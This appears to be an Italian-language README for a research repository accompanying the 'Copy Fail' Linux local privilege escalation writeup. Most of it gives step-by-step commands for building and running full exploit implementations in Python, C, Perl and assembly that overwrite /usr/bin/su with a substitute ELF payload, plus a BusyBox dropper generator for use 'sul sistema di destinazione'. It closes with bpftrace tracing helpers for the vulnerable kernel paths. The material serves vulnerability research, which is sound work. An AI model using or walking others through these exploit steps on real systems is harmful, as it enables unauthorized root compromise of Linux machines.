
Research artifacts, PoC scripts, and lab assets for the Copy Fail Linux local privilege escalation writeup on https://4xura.com/binex/kernel/copy-fail
Artefatti e script per l'analisi di CopyFail.
Approfondimento dettagliato:
proof-of-concept/ contiene le demo con primitive isolate utilizzate nell'analisi.exploit-scripts/ contiene le implementazioni complete dell'exploit in Python, C, Perl e assembly x86_64.bpftrace-scripts/ contiene i piccoli helper di tracciamento utilizzati durante l'analisi a runtime.Solo gli artefatti Perl, assembly e BusyBox richiedono un ELF di sostituzione esterno. Negli esempi seguenti, quel file è chiamato , ma qualsiasi nome file va bene.
payload.pwnkit.elfQuel payload non viene generato all'interno di questo repository. Costruiscilo prima seguendo il flusso di lavoro del payload dall'analisi, quindi posiziona l'ELF risultante nella stessa directory di lavoro dell'artefatto che vuoi eseguire.
Le PoC primitive e i driver degli exploit Python/C sono direttamente eseguibili così come sono.
Queste PoC sono principalmente per dimostrazione nell'analisi. Mostrano la primitiva di sovrascrittura in isolamento, non il flusso completo di sostituzione-esecuzione.
Per eseguire la demo Python, entra nella directory PoC ed esegui lo script:
cd proof-of-concept
python3 copyfail_poc.py
Per eseguire la demo C, compila prima e poi esegui il binario risultante:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
L'exploit Python è autonomo e mantiene i byte di sostituzione nello script stesso.
Spostati nella directory dell'exploit ed esegui il percorso di destinazione predefinito:
cd exploit-scripts
python3 exploit.py
Se vuoi un nome base target diverso, passalo come primo argomento. Per abilitare i log di sovrascrittura per chunk, imposta DEBUG=1:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
L'exploit C è anch'esso autonomo. Se vuoi preparare una sostituzione diversa, modifica prima PAYLOAD_BYTES in exploit-scripts/exploit.c.
Compila il binario statico (opzionale) in questo modo:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
Quindi esegui il target predefinito, oppure passa un nome base diverso. Il logging di debug è controllato tramite DEBUG=1:
./exploit
./exploit su
DEBUG=1 ./exploit su
Questa versione legge un payload ELF esterno invece di incorporare byte di sostituzione nello script.
Eseguilo dalla directory dell'exploit. Senza argomenti aggiuntivi, utilizza il target predefinito e il percorso del payload predefinito:
cd exploit-scripts
perl exploit.pl
Se vuoi scegliere sia il percorso vittima che l'ELF del payload esplicitamente, passali come argomenti. Il logging di debug è anch'esso controllato tramite DEBUG=1:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
Anche questa versione consuma un payload ELF esterno. Nell'esempio sotto è chiamato payload.pwnkit.elf, ma puoi usare qualsiasi nome file. Se lo rinomini, aggiorna la riga incbin in exploit-scripts/exploit.asm di conseguenza.
Compila il driver assembly con nasm e ld:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
Quindi esegui il target predefinito, oppure passa un percorso target completo:
./exploit_asm
./exploit_asm /usr/bin/su
Questo impacchetta il driver assembly e un payload ELF esterno in un unico eseguibile compatibile con BusyBox. L'esempio sotto usa payload.pwnkit.elf, ma qualsiasi nome file payload va bene purché passi lo stesso percorso al packer.
Genera il dropper dalla directory dell'exploit:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
Sul sistema di destinazione, esegui lo script generato con BusyBox sh:
busybox sh ./copyfail-busybox.sh /usr/bin/su
Prima di eseguire gli helper di tracciamento, verifica che i simboli rilevanti siano disponibili:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
Per osservare le pagine file che entrano nel percorso splice, esegui:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
Per osservare i dati supportati da pipe che raggiungono AF_ALG, esegui:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Per osservare la callback di decifratura vulnerabile authencesn, esegui:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt